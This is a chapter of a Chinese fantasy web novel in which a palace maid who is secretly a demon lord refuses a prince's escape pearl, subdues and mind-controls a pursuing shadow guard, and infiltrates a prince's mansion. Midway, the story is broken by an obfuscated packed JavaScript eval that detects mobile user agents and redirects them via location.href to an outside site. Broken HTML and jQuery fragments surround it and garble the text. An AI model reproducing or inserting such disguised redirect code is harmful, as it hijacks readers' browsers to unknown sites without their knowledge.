空气凝滞了一瞬。
赵谨忽然笑了,长睫低垂,语气中带着几分无辜:“姐姐,我与她并非幽会。”
宋知鱼瞥了他一眼。他脸上又换上了那副温软无害的模样,仿佛方才的冷意只是她的错觉。
她挑眉,心底起了几分玩意。
“哦——”她拖长尾音,反手扣住他的手腕,轻轻一带,顺势挣开了他的钳制,漂亮的瞳孔一瞬不瞬地望进他眼底,“殿下这是在和我解释吗?”
女儿家清浅的气息丝丝缕缕绕在他鼻尖,指尖不轻不重搭在他腕上。赵谨偏过头,耳根泛红,轻咳了一声,声音低哑地“嗯”了一下。
“奴婢不过是个下人,殿下何须与我解释?”
他转过头,眸光微动:“因为……我不想姐姐误会。”
误会?是怕她误会了去告密,还是怕她误会了再也骗不到她了?可真是,说的比唱的还好听。她心里嘀咕两句,面上不动声色:“那方才殿下和吴侧妃,又是在做什么?”
赵谨长睫垂得更低,压住眼底的暗涌。
“此事有些复杂。我说了,姐姐想听吗?”
她没接话,松开手退开两步。
“那还是别说了。”知道得越多,意味着麻烦越多。
她冲他摆摆手,转身往大门走。
赵谨站在原地,看着那抹粉色渐远。她今日换了新衣裳,粉嫩嫩的,像三月枝头初绽的桃花。是鲜活的,明媚的,也是……好到让他贪恋的。
“若有人要我的命呢?”他骤然开口,语气平淡得像在问今天吃什么。
宋知鱼脚步一顿,转身看他。
他走近。
“我与吴侧妃是旧识。她今日来告知我,二皇兄要在万寿节设局,让一大妖指控我通敌叛国,致北境战败,此举必会激起民愤,让我再无翻身之地。”
语毕,他已站到她一步之外。
“如此,姐姐会帮我吗?”
腊梅香随风飘来,清冽中带着一丝甜,混着他身上淡淡的皂角香。
宋知鱼莞尔一笑:“殿下,我一介宫女,又如何能帮到你?”
闻言,赵谨神色黯淡下去。
“是我糊涂了。”
他低头从袖间取出一颗珠子,通体莹白,流转着极淡的荧光,灵力波动若有若无,内敛不彰。
宋知鱼眸光微闪,她知道这颗珠子。
书中记载,此珠出自南境,乃世间罕见的空间秘宝。即使在重重禁制下,也可撕裂空间隧道,隔空连通两地,遁逃之时气息全然隐匿,纵使再高阶的修士亦无法察觉,但需彼岸之人接应方能成型。
赵谨被困于牢中之时,便是靠此珠与自己的势力里应外合才逃脱了出去。
他掌心向上,递到她面前:“若我真出了差错,姐姐带着它去南门城墙,向空中掷去,自有人接应你离开锦城,寻个安稳地方生活。”
这是……要把保命珠子给她?小汤圆真想去赴死啊?
宋知鱼看了他片刻,忽然伸手,将他的手连同珠子推回去。
“不用了。你不会出差错的。”
话落,她快步离开,再未给他多言的机会。
—
街道楼宇间,一粉色身影快速闪现。
暗卫亦步亦趋地跟着她。
这些日子,他总被各种突如其来的东西绊住,也格外犯困。想他堂堂一个元婴期高阶修士,竟会如此,这宫女必定有问题。可每当他回禀陛下时,却总会忘记这茬,连记忆都时不时出差错。
今日又犯困起晚了些,便见这宫女换了身装扮,鬼鬼祟祟往南门城墙走,而后身手不凡地越过高墙,出宫在巷子间穿梭。
她身手极好,几次他都差点跟丢。
这宫女绝对有问题。
暗卫闪现到一条空巷,再往前便是死胡同。
他瞳孔微缩,转身四顾,并无他人。四周荒凉凄静,连风都停止了。
突然,肩头被人拍了一下。
“谁!”
他猛然转身,身后空无一人,只有一片枯黄的树叶在空中打旋。他心下一松,骤然间意识到不对。
这巷子根本没有树,哪来的树叶?
可已来不及了。
身后一截树枝裹挟着浑厚灵力袭来,他想闪身避开,身子却动弹不得。树枝直接捅穿了他的肩膀。
“呃!”
他惨叫一声,猛然转身,抬眼看向面前拿着树枝的粉衣少女。她眉眼带笑,眸中似有一抹蓝光浮动。
“你……”他只来得及吐出一个字。
那树枝本脆弱易折,此刻却带着千钧之力。他被逼得连连后退,压根来不及还手,丹田里连一丝灵力都聚不起来。
“啪!”
“啪!”
……
暗卫只觉眼前幻化出无数树枝,纷纷向他抽来。他好不容易寻得一丝灵力对抗,却在强烈的威压下节节败退。
不行,必须趁还清醒,马上禀报陛下!
他捂住还在渗血的肩膀跌倒在地,眼底一狠,咬破指尖,在空中飞快画出一道血符。
见此,宋知鱼倒是停了下来,饶有兴致地用手撑着树枝看他表演。
阵成,血色隐隐发光。
暗卫眼底浮现欣喜。
然而一刹那间,阵破了。天空隐隐现出一道更强大的蓝色阵图,如天罗地网般罩下来。
宋知鱼笑得明媚。笑死,她难道就不会结阵吗?
“噗——”
暗卫猛地吐出一口鲜血,一手撑地稳住身形。
她走近几步。
“你这妖女,待我禀报陛下,立即将你铲除,看你还如何作乱!”暗卫眼神冷厉地盯着她。
宋知鱼觉得好笑。不是,大哥你看看现下情形,到底谁给你的勇气这么说话的?
“禀报?你觉得你今天还能回去给你家陛下禀报?”
暗卫手背在身后,指尖血滴落在地,还欲再言。
“唰——”
“啊!”
宋知鱼随手将树枝掷过去,树枝像锋利的箭矢,钉住了他血肉模糊的指尖。他竟还想结阵。
岂料,他咬牙拔开树枝,带出一地血迹,集结全部灵力朝她攻来。
“妖女,拿命来!”
宋知鱼眼眸泛蓝,发间银簪闪动。她一手聚起磅礴灵力,直接迎了上去。
四下风起云涌,两股灵力轰然碰撞。若非她早设下结界,怕是会引来无数人围观。
“砰!”
暗卫被强大的灵力气浪震开,狠狠撞在墙上。不给他反应的机会,宋知鱼拿起树枝刺穿他另一边肩膀,将他钉在了墙上。
暗卫脸色瞬间惨白如纸,还想再拖延时间。
正所谓,反派死于话多。宋知鱼可不想再和他多说什么了。
四周蓝黑色雾气涌起,带着海水潮湿的冷意缠绕住暗卫全身。一股奇异的花香窜入鼻间,冷冽幽深,混着周身的血气。
不好!
他连忙屏住呼吸,奈何那香无孔不入,他的眼神逐渐涣散。
“你……你是……妖尊。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373780|198152||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>雾气越来越浓,周遭狂风大作。等宋知鱼眼底的湛蓝退去时,那暗卫双眼已蒙上一层雾气。
“呼——”
她长呼一口气。
可累死她了。之前让这暗卫记忆错乱不算太难,但现在要控制住他就不太容易了。好歹也是个元婴期修士,她本也只有六成把握。
“你叫什么名字?”她问道。
“属下暗卫小五。”他一板一眼答道。
宋知鱼点点头,将树枝从他肩头抽出。暗卫顺势跪倒在地。
“把伤口治好,别让人皇发现异常。回去禀报他,远安殿一切如常。”她淡然吩咐。
“诺!”暗卫应下。
“另外,趁人不注意,去牢里把前司膳房女官捞出来,带她来见我。”
暗卫再次应下。
她挥挥手示意他可以走了。暗卫起身行了一礼,闪身消失。
宋知鱼施法将巷子恢复原貌,拍拍手,看着天色正好,往此行真正的目的地走去。
康王府。
这座王爷府邸修葺得并不奢华,甚至有些简陋。可占地面积大,守卫更是严密得有些过分。三步一岗,五步一哨,暗处还藏着数道隐晦的气息,不知道的还以为是关押犯人的地牢。
宋知鱼再次避开了一列巡逻侍卫。
这府上竟连个婢女都没有?她还想着偷渡件婢女衣裳混进去呢。
突然,一阵脚步声渐近。
她闪身跃上房梁,收敛气息。
两个小厮从底下走过。
“正厅那气氛,差点没把我给吓死。”略高那个猛拍胸口,大喘气。
另一个拍拍他肩膀,笑道:“瞧你这出息。”
高个笑骂他:“滚,难道你没被吓到?”
那小厮语塞,笑着转移话题:“那谁知今天二皇子突然到访,一来就明里暗里嘲讽咱们王爷。”
“无事不登三宝殿,二皇子一向谁都不待见。又仗着陛下的宠爱,无所不为。你看王爷今天那脸黑的……”
“不好了不好了,走水了走水了——”
话没说完,外头突然有人大喊。
“走水?”两小厮对视一眼,赶紧跑过去救火。
远处浓烟滚滚,阵阵灵力波动涌来。一列列侍卫往那个方向奔去。
待四下无人,宋知鱼才稳稳落地。
她眉头微皱,看向那浓烟涌来处。
她这一来,就起火了?而且,二皇子也在?这火势明显不普通,不然怎会这么多修士过去还灭不了。
“这么巧?”她低喃道。
不管了,趁人都不在,先去找魏余。
方才她已经探查到一处地方,周围侍卫密集,想必是关押重犯之所。
她闪身过去。
待她到达时,四周竟然空无一人。
宋知鱼目光一凛。就算为了救火,也不该一个侍卫都不留。
她隐于暗处,手腕翻转,一丝灵力编织而成的蓝线蔓延开来。蓝线长势迅猛,迅速探向房屋深处。
屋内横七竖八躺着些侍卫,呼吸平稳,像是被人迷晕了。再往深处,昏暗无比,妖气弥漫。
正中间放着一个铁铸大笼子,四周贴满了黄纸符咒。一头银灰色的狼困在其中,皮毛上染着褐红的血,脖间箍着拳头大小的项圈,蜷缩在笼角。它已没什么力气,黑沉的眸子半阖着,呼吸沉重。
而笼子前,站着一个身着红衣的妙龄女子。
宋知鱼猛地收回蓝线,眼底微惊。
里面除了魏余,还有只妖!